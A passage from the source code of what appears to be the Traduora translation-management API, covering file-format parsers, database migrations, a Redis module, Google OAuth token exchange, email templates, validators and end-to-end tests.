...simpleFormatFixture, iso: 'de_DE' }); 12 | const expected = loadFixture('simple-resx.resx'); 13 | expect(result).toEqual(expected); 14 | }); 15 | -------------------------------------------------------------------------------- /api/src/formatters/strings.spec.ts: -------------------------------------------------------------------------------- 1 | import { loadFixture, simpleFormatFixture } from './fixtures'; 2 | import { stringsParser, stringsExporter } from './strings'; 3 | 4 | test('should parse strings files', async () => { 5 | const input = loadFixture('simple.strings'); 6 | const result = await stringsParser(input); 7 | expect(result).toEqual(simpleFormatFixture); 8 | }); 9 | 10 | test('should export strings files', async () => { 11 | const result = await stringsExporter(simpleFormatFixture); 12 | const expected = loadFixture('simple.strings'); 13 | expect(result).toEqual(expected); 14 | }); 15 | -------------------------------------------------------------------------------- /api/src/formatters/strings.ts: -------------------------------------------------------------------------------- 1 | import { Parser, Exporter, IntermediateTranslationFormat } from 'domain/formatters'; 2 | import * as strings from 'strings-file'; 3 | 4 | export const stringsParser: Parser = async (data: string) => { 5 | const parsed = strings.parse(data, false); 6 | const translations = []; 7 | 8 | for (const term of Object.keys(parsed)) { 9 | const translation = parsed[term] || ''; 10 | translations.push({ 11 | term, 12 | translation, 13 | }); 14 | } 15 | 16 | return { 17 | translations, 18 | }; 19 | }; 20 | 21 | export const stringsExporter: Exporter = async (data: IntermediateTranslationFormat) => { 22 | const out = data.translations.reduce((acc, obj) => ({ ...acc, [obj.term]: obj.translation }), {}); 23 | return strings.compile(out).replace(/^\s*$(?:\r\n?|\n)/gm, ''); 24 | }; 25 | -------------------------------------------------------------------------------- /api/src/formatters/util.ts: -------------------------------------------------------------------------------- 1 | // utils.ts 2 | export const toEqualIgnoringIndentation = { 3 | toEqualIgnoringIndentation(received, expected) { 4 | let parsedReceived; 5 | let parsedExpected; 6 | 7 | try { 8 | parsedReceived = JSON.parse(received); 9 | parsedExpected = JSON.parse(expected); 10 | } catch (error) { 11 | return { 12 | message: () => `One or both of the values are not valid JSON strings.`, 13 | pass: false, 14 | }; 15 | } 16 | 17 | const pass = this.equals(parsedReceived, parsedExpected); 18 | 19 | if (pass) { 20 | return { 21 | message: () => `expected ${this.utils.printReceived(received)} not to equal (ignoring indentation) ${this.utils.printExpected(expected)}`, 22 | pass: true, 23 | }; 24 | } else { 25 | return { 26 | message: () => `expected ${this.utils.printReceived(received)} to equal (ignoring indentation) ${this.utils.printExpected(expected)}`, 27 | pass: false, 28 | }; 29 | } 30 | }, 31 | }; 32 | -------------------------------------------------------------------------------- /api/src/formatters/yaml-flat.ts: -------------------------------------------------------------------------------- 1 | import * as yaml from 'js-yaml'; 2 | import { Exporter, IntermediateTranslationFormat, Parser } from '../domain/formatters'; 3 | 4 | export const yamlFlatParser: Parser = async (data: string) => { 5 | const parsed = yaml.load(data); 6 | const translations = []; 7 | if (Array.isArray(parsed) || typeof parsed !== 'object') { 8 | throw new Error('YAML contents are not of key:value format'); 9 | } 10 | for (const term of Object.keys(parsed)) { 11 | const translation = parsed[term]; 12 | if (typeof translation !== 'string' || typeof term !== 'string') { 13 | throw new Error('YAML contents are not of key:value format'); 14 | } 15 | translations.push({ 16 | term, 17 | translation, 18 | }); 19 | } 20 | return { 21 | translations, 22 | }; 23 | }; 24 | 25 | export const yamlFlatExporter: Exporter = async (data: IntermediateTranslationFormat) => 26 | yaml.dump(data.translations.reduce((acc, x) => ({ ...acc, [x.term]: x.translation }), {})); 27 | -------------------------------------------------------------------------------- /api/src/guards/custom-throttler.guard.ts: -------------------------------------------------------------------------------- 1 | import { Injectable } from '@nestjs/common'; 2 | import { ThrottlerGuard, ThrottlerLimitDetail } from '@nestjs/throttler'; 3 | import { ExecutionContext } from '@nestjs/common'; 4 | import { TooManyRequestsException } from '../errors'; 5 | 6 | @Injectable() 7 | export class CustomThrottlerGuard extends ThrottlerGuard { 8 | protected async throwThrottlingException(context: ExecutionContext, throttlerLimitDetail: ThrottlerLimitDetail): Promise { 9 | throw new TooManyRequestsException('You have made too many requests. Please try again later.'); 10 | } // Custom error message 11 | } 12 | -------------------------------------------------------------------------------- /api/src/jest.d.ts: -------------------------------------------------------------------------------- 1 | // jest.d.ts 2 | import 'jest'; 3 | 4 | declare global { 5 | namespace jest { 6 | interface Matchers { 7 | toEqualIgnoringIndentation(expected: any): R; 8 | } 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /api/src/middlewares/morgan-middleware.ts: -------------------------------------------------------------------------------- 1 | // Adapted from https://github.com/wbhob/nest-middlewares/tree/master/packages/morgan 2 | // MIT License 3 | // Copyright (c) 2017 Wilson Hobbs 4 | 5 | import { Injectable, NestMiddleware } from '@nestjs/common'; 6 | import * as morgan from 'morgan'; 7 | import http from 'http'; 8 | 9 | @Injectable() 10 | export class MorganMiddleware implements NestMiddleware { 11 | public static configure(format: string | morgan.FormatFn, opts?: morgan.Options) { 12 | this.format = format; 13 | this.options = opts; 14 | } 15 | 16 | public static token(name: string, callback: morgan.TokenCallbackFn) { 17 | return morgan.token(name, callback); 18 | } 19 | 20 | private static options: morgan.Options; 21 | private static format: string | morgan.FormatFn; 22 | 23 | public use(req: any, res: any, next: any) { 24 | if (MorganMiddleware.format) { 25 | morgan(MorganMiddleware.format as any, MorganMiddleware.options)(req, res, next); 26 | } else { 27 | throw new Error('MorganMiddleware must be configured with a logger format.'); 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /api/src/migrations/1537801450876-add-project-user-role.ts: -------------------------------------------------------------------------------- 1 | import { MigrationInterface, QueryRunner } from 'typeorm'; 2 | import { config } from '../config'; 3 | 4 | export class addProjectUserRole1537801450876 implements MigrationInterface { 5 | public async up(queryRunner: QueryRunner): Promise { 6 | switch (config.db.default.type) { 7 | case 'postgres': 8 | await queryRunner.query(`ALTER TABLE "project_user" ADD COLUMN "role" varchar(10) NOT NULL DEFAULT 'viewer' CHECK ("role" IN ('admin', 'editor', 'viewer')); 9 | `); 10 | break; 11 | case 'mysql': 12 | await queryRunner.query("ALTER TABLE `project_user` ADD `role` enum ('admin', 'editor', 'viewer') NOT NULL DEFAULT 'viewer'"); 13 | break; 14 | default: 15 | console.log('Unknown DB type'); 16 | } 17 | } 18 | 19 | public async down(queryRunner: QueryRunner): Promise { 20 | switch (config.db.default.type) { 21 | case 'postgres': 22 | await queryRunner.query(`ALTER TABLE project_user DROP COLUMN role;`); 23 | break; 24 | case 'mysql': 25 | await queryRunner.query('ALTER TABLE `project_user` DROP COLUMN `role`'); 26 | break; 27 | default: 28 | console.log('Unknown DB type'); 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /api/src/migrations/1543494409127-change-translation-value-type.ts: -------------------------------------------------------------------------------- 1 | import { MigrationInterface, QueryRunner } from 'typeorm'; 2 | import { config } from '../config'; 3 | 4 | export class changeTranslationValueType1543494409127 implements MigrationInterface { 5 | public async up(queryRunner: QueryRunner): Promise { 6 | switch (config.db.default.type) { 7 | case 'postgres': 8 | await queryRunner.query(`ALTER TABLE translation ALTER COLUMN value SET NOT NULL;`); 9 | await queryRunner.query(`ALTER TABLE translation ALTER COLUMN value SET DATA TYPE text;`); 10 | break; 11 | case 'mysql': 12 | await queryRunner.query('ALTER TABLE `translation` MODIFY COLUMN `value` text NOT NULL'); 13 | break; 14 | default: 15 | console.log('Unknown DB type'); 16 | } 17 | } 18 | 19 | public async down(queryRunner: QueryRunner): Promise { 20 | switch (config.db.default.type) { 21 | case 'postgres': 22 | await queryRunner.query(`ALTER TABLE "translation" ALTER COLUMN "value" TYPE text USING "value"::text;`); 23 | break; 24 | case 'mysql': 25 | await queryRunner.query('ALTER TABLE `translation` MODIFY COLUMN `value` varchar(255) NOT NULL'); 26 | break; 27 | default: 28 | console.log('Unknown DB type'); 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /api/src/migrations/1543625461116-add-project-description-field.ts: -------------------------------------------------------------------------------- 1 | import { MigrationInterface, QueryRunner } from 'typeorm'; 2 | import { config } from '../config'; 3 | 4 | export class addProjectDescriptionField1543625461116 implements MigrationInterface { 5 | public async up(queryRunner: QueryRunner): Promise { 6 | switch (config.db.default.type) { 7 | case 'postgres': 8 | await queryRunner.query(`ALTER TABLE project ADD COLUMN description varchar(255) NULL;`); 9 | break; 10 | case 'mysql': 11 | await queryRunner.query('ALTER TABLE `project` ADD `description` varchar(255) NULL'); 12 | break; 13 | default: 14 | console.log('Unknown DB type'); 15 | } 16 | } 17 | 18 | public async down(queryRunner: QueryRunner): Promise { 19 | switch (config.db.default.type) { 20 | case 'postgres': 21 | await queryRunner.query(`ALTER TABLE project DROP COLUMN description;`); 22 | break; 23 | case 'mysql': 24 | await queryRunner.query('ALTER TABLE `project` DROP COLUMN `description`'); 25 | break; 26 | default: 27 | console.log('Unknown DB type'); 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /api/src/migrations/1544283791233-add-tos-and-privacy-fields.ts: -------------------------------------------------------------------------------- 1 | import { MigrationInterface, QueryRunner } from 'typeorm'; 2 | import { config } from '../config'; 3 | 4 | export class addTosAndPrivacyFields1544283791233 implements MigrationInterface { 5 | public async up(queryRunner: QueryRunner): Promise { 6 | switch (config.db.default.type) { 7 | case 'postgres': 8 | await queryRunner.query(`ALTER TABLE "user" ADD "tos_and_privacy_accepted_date" timestamp NULL;`); 9 | await queryRunner.query(`ALTER TABLE "user" ADD COLUMN "tos_and_privacy_accepted_version" varchar(255) NULL;`); 10 | break; 11 | case 'mysql': 12 | await queryRunner.query('ALTER TABLE `user` ADD `tosAndPrivacyAcceptedDate` timestamp(6) NULL'); 13 | await queryRunner.query('ALTER TABLE `user` ADD `tosAndPrivacyAcceptedVersion` varchar(255) NULL'); 14 | break; 15 | default: 16 | console.log('Unknown DB type'); 17 | } 18 | } 19 | 20 | public async down(queryRunner: QueryRunner): Promise { 21 | switch (config.db.default.type) { 22 | case 'postgres': 23 | await queryRunner.query(`ALTER TABLE "user" DROP COLUMN "tos_and_privacy_accepted_version"`); 24 | await queryRunner.query(`ALTER TABLE "user" DROP COLUMN "tos_and_privacy_accepted_date"; `); 25 | break; 26 | case 'mysql': 27 | await queryRunner.query('ALTER TABLE `user` DROP COLUMN `tosAndPrivacyAcceptedVersion`'); 28 | await queryRunner.query('ALTER TABLE `user` DROP COLUMN `tosAndPrivacyAcceptedDate`'); 29 | break; 30 | default: 31 | console.log('Unknown DB type'); 32 | } 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /api/src/migrations/1549613347230-project-users-index.ts: -------------------------------------------------------------------------------- 1 | import { MigrationInterface, QueryRunner } from 'typeorm'; 2 | import { config } from '../config'; 3 | 4 | export class projectUsersIndex1549613347230 implements MigrationInterface { 5 | public async up(queryRunner: QueryRunner): Promise { 6 | switch (config.db.default.type) { 7 | case 'postgres': 8 | await queryRunner.query(`CREATE UNIQUE INDEX "IDX_20543d6caa7324ce6706fad2f5" ON "project_user"("project_id", "user_id");`); 9 | break; 10 | case 'mysql': 11 | await queryRunner.query('CREATE UNIQUE INDEX `IDX_20543d6caa7324ce6706fad2f5` ON `project_user`(`projectId`, `userId`)'); 12 | break; 13 | default: 14 | console.log('Unknown DB type'); 15 | } 16 | } 17 | 18 | public async down(queryRunner: QueryRunner): Promise { 19 | switch (config.db.default.type) { 20 | case 'postgres': 21 | await queryRunner.query(`DROP INDEX IF EXISTS "IDX_20543d6caa7324ce6706fad2f5" ON "project_user";`); 22 | break; 23 | case 'mysql': 24 | await queryRunner.query('DROP INDEX `IDX_20543d6caa7324ce6706fad2f5` ON `project_user`'); 25 | break; 26 | default: 27 | console.log('Unknown DB type'); 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /api/src/migrations/1551022480406-per-user-project-limits.ts: -------------------------------------------------------------------------------- 1 | import { MigrationInterface, QueryRunner } from 'typeorm'; 2 | import { config } from '../config'; 3 | 4 | export class perUserProjectLimits1551022480406 implements MigrationInterface { 5 | public async up(queryRunner: QueryRunner): Promise { 6 | switch (config.db.default.type) { 7 | case 'postgres': 8 | await queryRunner.query(`ALTER TABLE "user" ADD COLUMN "num_projects_created" integer NOT NULL DEFAULT 0;`); 9 | break; 10 | case 'mysql': 11 | await queryRunner.query('ALTER TABLE `user` ADD `numProjectsCreated` int NOT NULL DEFAULT 0'); 12 | break; 13 | default: 14 | console.log('Unknown DB type'); 15 | } 16 | } 17 | 18 | public async down(queryRunner: QueryRunner): Promise { 19 | await queryRunner.query(`ALTER TABLE "user" DROP COLUMN "num_projects_created";`); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /api/src/migrations/1552494719664-remove-tos-and-privacy.ts: -------------------------------------------------------------------------------- 1 | import { MigrationInterface, QueryRunner } from 'typeorm'; 2 | import { config } from '../config'; 3 | 4 | export class removeTosAndPrivacy1552494719664 implements MigrationInterface { 5 | public async up(queryRunner: QueryRunner): Promise { 6 | switch (config.db.default.type) { 7 | case 'postgres': 8 | await queryRunner.query(`ALTER TABLE "user" DROP COLUMN "tos_and_privacy_accepted_date";`); 9 | await queryRunner.query(`ALTER TABLE "user" DROP COLUMN "tos_and_privacy_accepted_version";`); 10 | break; 11 | case 'mysql': 12 | await queryRunner.query('ALTER TABLE `user` DROP COLUMN `tosAndPrivacyAcceptedDate`'); 13 | await queryRunner.query('ALTER TABLE `user` DROP COLUMN `tosAndPrivacyAcceptedVersion`'); 14 | break; 15 | default: 16 | console.log('Unknown DB type'); 17 | } 18 | } 19 | 20 | public async down(queryRunner: QueryRunner): Promise { 21 | switch (config.db.default.type) { 22 | case 'postgres': 23 | await queryRunner.query(`ALTER TABLE "user" ADD COLUMN "tos_and_privacy_accepted_version" varchar(255) NULL;`); 24 | await queryRunner.query(`ALTER TABLE "user" ADD COLUMN "tos_and_privacy_accepted_date" timestamp(6) NULL;`); 25 | break; 26 | case 'mysql': 27 | await queryRunner.query('ALTER TABLE `user` ADD `tosAndPrivacyAcceptedVersion` varchar(255) NULL'); 28 | await queryRunner.query('ALTER TABLE `user` ADD `tosAndPrivacyAcceptedDate` timestamp(6) NULL'); 29 | break; 30 | default: 31 | console.log('Unknown DB type'); 32 | } 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /api/src/migrations/1552729314169-set-default-encoding.ts: -------------------------------------------------------------------------------- 1 | import { MigrationInterface, QueryRunner } from 'typeorm'; 2 | import { config } from '../config'; 3 | 4 | export class setDefaultEncoding1552729314169 implements MigrationInterface { 5 | tables = ['migrations', 'project_locale', 'translation', 'project_client', 'term', 'project_user', 'plan', 'project', 'user', 'locale']; 6 | 7 | public async up(queryRunner: QueryRunner): Promise { 8 | switch (config.db.default.type) { 9 | case 'mysql': 10 | await queryRunner.query('SET FOREIGN_KEY_CHECKS=0;'); 11 | for (const table of this.tables) { 12 | await queryRunner.query(`ALTER TABLE \`${table}\` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;`); 13 | } 14 | await queryRunner.query('SET FOREIGN_KEY_CHECKS=1;'); 15 | break; 16 | default: 17 | console.log('Unknown DB type'); 18 | } 19 | } 20 | 21 | // No down migration since we cannot guess what the previous default encoding was 22 | public async down(queryRunner: QueryRunner): Promise {} 23 | } 24 | -------------------------------------------------------------------------------- /api/src/migrations/1562578811334-provider google.ts: -------------------------------------------------------------------------------- 1 | import { MigrationInterface, QueryRunner } from 'typeorm'; 2 | import { config } from '../config'; 3 | 4 | export class providerGoogle1562578811334 implements MigrationInterface { 5 | public async up(queryRunner: QueryRunner): Promise { 6 | switch (config.db.default.type) { 7 | case 'postgres': 8 | await queryRunner.query(`ALTER TABLE "user" ALTER COLUMN "encrypted_password" TYPE bytea USING "encrypted_password"::bytea;`); 9 | break; 10 | case 'mysql': 11 | await queryRunner.query('ALTER TABLE `user` CHANGE `encryptedPassword` `encryptedPassword` binary(60) NULL'); 12 | break; 13 | default: 14 | console.log('Unknown DB type'); 15 | } 16 | } 17 | 18 | public async down(queryRunner: QueryRunner): Promise { 19 | switch (config.db.default.type) { 20 | case 'postgres': 21 | await queryRunner.query(`ALTER TABLE "user" ALTER COLUMN "encrypted_password" SET NOT NULL;`); 22 | await queryRunner.query(`ALTER TABLE "user" ALTER COLUMN "encrypted_password" TYPE bytea USING "encrypted_password"::bytea;`); 23 | break; 24 | case 'mysql': 25 | await queryRunner.query('ALTER TABLE `user` CHANGE `encryptedPassword` `encryptedPassword` binary(60) NOT NULL'); 26 | break; 27 | default: 28 | console.log('Unknown DB type'); 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /api/src/migrations/1575658419248-fix-case-insensitive-collation.ts: -------------------------------------------------------------------------------- 1 | import { MigrationInterface, QueryRunner } from 'typeorm'; 2 | import { config } from '../config'; 3 | 4 | export class fixCaseInsensitiveCollation1575658419248 implements MigrationInterface { 5 | tables = ['migrations', 'project_locale', 'translation', 'project_client', 'term', 'project_user', 'plan', 'project', 'user', 'locale', 'invite']; 6 | 7 | public async up(queryRunner: QueryRunner): Promise { 8 | switch (config.db.default.type) { 9 | case 'mysql': 10 | await queryRunner.query('SET FOREIGN_KEY_CHECKS=0;'); 11 | for (const table of this.tables) { 12 | await queryRunner.query(`ALTER TABLE \`${table}\` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_bin;`); 13 | } 14 | await queryRunner.query('SET FOREIGN_KEY_CHECKS=1;'); 15 | break; 16 | default: 17 | console.log('Unknown DB type'); 18 | } 19 | } 20 | 21 | public async down(queryRunner: QueryRunner): Promise { 22 | switch (config.db.default.type) { 23 | case 'mysql': 24 | await queryRunner.query('SET FOREIGN_KEY_CHECKS=0;'); 25 | for (const table of this.tables) { 26 | await queryRunner.query(`ALTER TABLE \`${table}\` CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;`); 27 | } 28 | await queryRunner.query('SET FOREIGN_KEY_CHECKS=1;'); 29 | break; 30 | default: 31 | console.log('Unknown DB type'); 32 | } 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /api/src/migrations/1667573768424-add-term-context.ts: -------------------------------------------------------------------------------- 1 | import { MigrationInterface, QueryRunner } from 'typeorm'; 2 | import { config } from '../config'; 3 | 4 | export class addTermContext1667573768424 implements MigrationInterface { 5 | public async up(queryRunner: QueryRunner): Promise { 6 | switch (config.db.default.type) { 7 | case 'postgres': 8 | await queryRunner.query(`ALTER TABLE term ADD COLUMN context TEXT DEFAULT NULL;`); 9 | break; 10 | case 'mysql': 11 | await queryRunner.query('ALTER TABLE `term` ADD COLUMN `context` TEXT DEFAULT NULL AFTER `value`'); 12 | break; 13 | default: 14 | console.log('Unknown DB type'); 15 | } 16 | } 17 | 18 | public async down(queryRunner: QueryRunner): Promise { 19 | switch (config.db.default.type) { 20 | case 'postgres': 21 | await queryRunner.query(`ALTER TABLE term DROP COLUMN context; 22 | `); 23 | break; 24 | case 'mysql': 25 | await queryRunner.query('ALTER TABLE `term` DROP COLUMN `context`'); 26 | break; 27 | default: 28 | console.log('Unknown DB type'); 29 | } 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /api/src/redis/redis.module.ts: -------------------------------------------------------------------------------- 1 | import { Module, Global, Logger } from '@nestjs/common'; 2 | import Redis from 'ioredis'; 3 | import { ConfigService } from '@nestjs/config'; 4 | 5 | @Global() 6 | @Module({ 7 | providers: [ 8 | { 9 | provide: 'REDIS_CLIENT', 10 | useFactory: (configService: ConfigService) => { 11 | const redisHost = configService.get('REDIS_HOST'); 12 | const redisPort = configService.get('REDIS_PORT'); 13 | const redisPassword = configService.get('REDIS_PASSWORD'); 14 | 15 | if (!redisHost || !redisPort) { 16 | Logger.warn('Redis configuration is missing. Redis will not be initialized.'); 17 | return null; 18 | } 19 | try { 20 | return new Redis({ 21 | host: redisHost, 22 | port: redisPort, 23 | password: redisPassword, 24 | }); 25 | } catch (error) { 26 | Logger.error('Failed to initialize Redis client:', error.message); 27 | return null; 28 | } 29 | }, 30 | inject: [ConfigService], 31 | }, 32 | ], 33 | exports: ['REDIS_CLIENT'], 34 | }) 35 | export class RedisModule {} 36 | -------------------------------------------------------------------------------- /api/src/seeds/seed.module.ts: -------------------------------------------------------------------------------- 1 | import { Module } from '@nestjs/common'; 2 | import { TypeOrmModule } from '@nestjs/typeorm'; 3 | import { User } from '../entity/user.entity'; 4 | import { UserService } from '../services/user.service'; 5 | import { UserLoginAttemptsStorage } from '../redis/user-login-attempts.storage'; 6 | import { SeedDataService } from './seed-data.service'; 7 | import { UserSeed } from './user.seed'; 8 | 9 | /** 10 | * Module for handling data seeding functionality 11 | */ 12 | @Module({ 13 | imports: [TypeOrmModule.forFeature([User])], 14 | providers: [UserSeed, UserService, UserLoginAttemptsStorage, SeedDataService], 15 | exports: [SeedDataService], 16 | }) 17 | export class SeedModule {} 18 | -------------------------------------------------------------------------------- /api/src/services/auth.service.ts: -------------------------------------------------------------------------------- 1 | import { BadRequestException, Injectable } from '@nestjs/common'; 2 | import { HttpService } from '@nestjs/axios'; 3 | import { stringify, unescape } from 'querystring'; 4 | import { config } from '../config'; 5 | 6 | @Injectable() 7 | export class AuthService { 8 | constructor(private readonly httpService: HttpService) {} 9 | 10 | async getTokenFromGoogle(code: string): Promise { 11 | const { active, apiUrl, clientId, clientSecret, redirectUrl } = config.providers.google; 12 | 13 | if (!active) { 14 | throw new BadRequestException('Google authentication provider is not enabled'); 15 | } 16 | 17 | try { 18 | const body = stringify( 19 | { 20 | access_type: 'offline', 21 | code, 22 | client_id: clientId, 23 | client_secret: clientSecret, 24 | redirect_uri: redirectUrl, 25 | grant_type: 'authorization_code', 26 | }, 27 | null, 28 | null, 29 | { encodeURIComponent: unescape }, 30 | ); 31 | const { data } = await this.httpService 32 | .post(apiUrl, body, { 33 | headers: { 34 | 'Content-Type': 'application/x-www-form-urlencoded', 35 | }, 36 | }) 37 | .toPromise(); 38 | return data; 39 | } catch (err) { 40 | throw new BadRequestException(); 41 | } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /api/src/shutdown.handler.ts: -------------------------------------------------------------------------------- 1 | import { Closable } from 'types'; 2 | import * as process from 'process'; 3 | 4 | /** 5 | * Sets up a shutdown handler for graceful application termination. 6 | * 7 | * This function listens for the SIGINT signal (typically triggered by pressing Ctrl+C) 8 | * and ensures that all provided resources are closed gracefully before the application exits. 9 | * 10 | * @param closables - An array of objects implementing the Closable interface, each containing a `close` method that returns a Promise. 11 | * This method is expected to clean up or release resources associated with each object. 12 | */ 13 | export function setupShutdownHandler(closables: Closable[]) { 14 | process.on('SIGINT', async () => { 15 | console.log('Shutdown signal received. Initiating graceful shutdown...'); 16 | console.log(`Total resources to close: ${closables.length}`); 17 | 18 | try { 19 | for (const [index, closable] of closables.entries()) { 20 | await closable.close(); 21 | console.log(`Resource ${index + 1} closed successfully.`); 22 | } 23 | } catch (error) { 24 | console.error('Error occurred while closing resources:', error); 25 | } finally { 26 | process.exit(1); 27 | } 28 | }); 29 | } 30 | -------------------------------------------------------------------------------- /api/src/templates/mail/invited-to-platform.txt: -------------------------------------------------------------------------------- 1 | Hi {{invite.email}}, 2 | 3 | You've been invited to join '{{invite.project.name}}' on Traduora with the role '{{invite.role}}'. 4 | 5 | To get started, go to {{virtualHost}}/signup and sign up with your email and password. 6 | 7 | Traduora's Team 8 | -------------------------------------------------------------------------------- /api/src/templates/mail/invited-to-project.txt: -------------------------------------------------------------------------------- 1 | Hi {{user.user.name}}, 2 | 3 | You've been granted access to the project '{{user.project.name}}' on Traduora with the role '{{user.role}}'. 4 | 5 | To get started, go to {{virtualHost}}/projects/{{user.project.id}} and login with your email and password. 6 | 7 | Traduora's Team 8 | -------------------------------------------------------------------------------- /api/src/templates/mail/password-changed.txt: -------------------------------------------------------------------------------- 1 | Hi {{user.name}}, 2 | 3 | Your password has been sucessfully changed. If you didn't perform this operation please contact us or your system administrator immediately. 4 | 5 | Traduora's Team 6 | -------------------------------------------------------------------------------- /api/src/templates/mail/password-reset-token.txt: -------------------------------------------------------------------------------- 1 | Hi {{user.name}}, 2 | 3 | You (or someone else) requested a password reset for Traduora. 4 | 5 | Please copy and paste the following link into your browser to change your password: 6 | 7 | {{endpoint}}?email={{user.email}}&resetToken={{resetToken}} 8 | 9 | Traduora's Team 10 | -------------------------------------------------------------------------------- /api/src/templates/mail/welcome.txt: -------------------------------------------------------------------------------- 1 | Hi {{user.name}}, 2 | 3 | We're happy to see you join us and hope you enjoy traduora! 4 | You're one step closer to bringing your project to a wider audience. 5 | 6 | To get started, go to {{virtualHost}}/login and login with your email and password. 7 | 8 | Traduora's Team 9 | -------------------------------------------------------------------------------- /api/src/types.ts: -------------------------------------------------------------------------------- 1 | /** 2 | * Defines a contract for objects that can be closed gracefully. 3 | * 4 | * Any class implementing this interface should provide a `close` method 5 | * that performs cleanup or resource release and returns a Promise that 6 | * resolves when the operation is complete. 7 | */ 8 | export interface Closable { 9 | close(): Promise; 10 | } 11 | -------------------------------------------------------------------------------- /api/src/utils/alias-helper.ts: -------------------------------------------------------------------------------- 1 | import { snakeCase } from 'typeorm/util/StringUtils'; 2 | import { config } from '../config'; 3 | 4 | // TypeORM fails to properly quote camelCase aliases with PostgreSQL 5 | // https://github.com/typeorm/typeorm/issues/10961 6 | export const resolveColumnName = (columnName: string): string => { 7 | if (!columnName) { 8 | throw new Error('Column name cannot be empty'); 9 | } 10 | 11 | // convert only for postgres until typeorm has a fix 12 | if (config.db.default.type === 'postgres') { 13 | return snakeCase(columnName); 14 | } 15 | 16 | return columnName; 17 | }; 18 | -------------------------------------------------------------------------------- /api/src/validators/IsNotOnlyWhitespace.ts: -------------------------------------------------------------------------------- 1 | import { ValidationArguments, ValidatorConstraint, ValidatorConstraintInterface } from 'class-validator'; 2 | 3 | @ValidatorConstraint({ name: 'containsChars', async: false }) 4 | export class IsNotOnlyWhitespace implements ValidatorConstraintInterface { 5 | validate(text: string, args: ValidationArguments) { 6 | if (typeof text !== 'string') { 7 | return false; 8 | } 9 | return (text || '').trim().length > 0; 10 | } 11 | 12 | defaultMessage(args: ValidationArguments) { 13 | return 'Text ($value) does not contain chars, it is either empty or only whitespace'; 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /api/src/validators/IsValidLabel.ts: -------------------------------------------------------------------------------- 1 | import { ValidationArguments, ValidatorConstraint, ValidatorConstraintInterface } from 'class-validator'; 2 | 3 | @ValidatorConstraint({ name: 'containsChars', async: false }) 4 | export class IsValidLabel implements ValidatorConstraintInterface { 5 | validate(text: string, args: ValidationArguments) { 6 | if (typeof text !== 'string') { 7 | return false; 8 | } 9 | const notOnlyWhiteSpace = (text || '').trim().length > 0; 10 | const hasNewLine = text.indexOf('\n') >= 0; 11 | return !hasNewLine && notOnlyWhiteSpace; 12 | } 13 | 14 | defaultMessage(args: ValidationArguments) { 15 | return 'Text ($value) does not contain chars, it is either empty or only whitespace or contains newlines'; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /api/test/health.e2e-spec.ts: -------------------------------------------------------------------------------- 1 | import { Connection } from 'typeorm'; 2 | import { INestApplication } from '@nestjs/common'; 3 | import * as request from 'supertest'; 4 | import { createAndMigrateApp } from './util'; 5 | 6 | describe('HealthController (e2e)', () => { 7 | let app: INestApplication; 8 | 9 | beforeAll(async () => { 10 | app = await createAndMigrateApp(); 11 | }); 12 | 13 | it('/health (GET)', async () => { 14 | await request(app.getHttpServer()) 15 | .get('/health') 16 | .expect(200) 17 | .expect(res => { 18 | expect(res.body).toHaveExactProperties(['status', 'version']); 19 | expect(res.body.status).toEqual('ok'); 20 | expect(res.body.version).toMatch(require('semver-regex')()); 21 | }); 22 | }); 23 | 24 | afterAll(async () => { 25 | await app.get(Connection).close(); 26 | await app.close(); 27 | }); 28 | }); 29 | -------------------------------------------------------------------------------- /api/test/index.d.ts: -------------------------------------------------------------------------------- 1 | declare namespace jest { 2 | interface Matchers { 3 | toHaveExactProperties: (expectedProps: string[]) => void; 4 | } 5 | 6 | interface Expect { 7 | toHaveExactProperties: (expectedProps: string[]) => void; 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /api/test/jest-e2e.json: -------------------------------------------------------------------------------- 1 | { 2 | "moduleFileExtensions": ["js", "json", "ts"], 3 | "rootDir": ".", 4 | "testEnvironment": "node", 5 | "testTimeout": 120000, 6 | "testRegex": ".e2e-spec.ts$", 7 | "transform": { 8 | "^.+\\.(t|j)s$": "ts-jest" 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /api/test/locale.e2e-spec.ts: -------------------------------------------------------------------------------- 1 | import { Connection } from 'typeorm'; 2 | import './util'; 3 | 4 | import { INestApplication } from '@nestjs/common'; 5 | import * as request from 'supertest'; 6 | import { createAndMigrateApp, signupTestUser, TestingUser } from './util'; 7 | 8 | describe('LocaleController (e2e)', () => { 9 | let app: INestApplication; 10 | let testingUser: TestingUser; 11 | 12 | beforeAll(async () => { 13 | app = await createAndMigrateApp(); 14 | testingUser = await signupTestUser(app); 15 | }); 16 | 17 | it('/api/v1/locales (GET) should return locales', async () => { 18 | await request(app.getHttpServer()) 19 | .get('/api/v1/locales') 20 | .set('Authorization', `Bearer ${testingUser.accessToken}`) 21 | .expect(200) 22 | .expect(res => { 23 | expect(res.body.data).toBeDefined(); 24 | expect(res.body.data[0]).toHaveExactProperties(['code', 'region', 'language']); 25 | }); 26 | }); 27 | 28 | afterAll(async () => { 29 | await app.get(Connection).close(); 30 | await app.close(); 31 | }); 32 | }); 33 | -------------------------------------------------------------------------------- /api/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "module": "commonjs", 4 | "declaration": true, 5 | "noImplicitAny": false, 6 | "removeComments": true, 7 | "noLib": false, 8 | "allowSyntheticDefaultImports": true, 9 | "resolveJsonModule": true, 10 | "emitDecoratorMetadata": true, 11 | "experimentalDecorators": true, 12 | "target": "es6", 13 | "sourceMap": 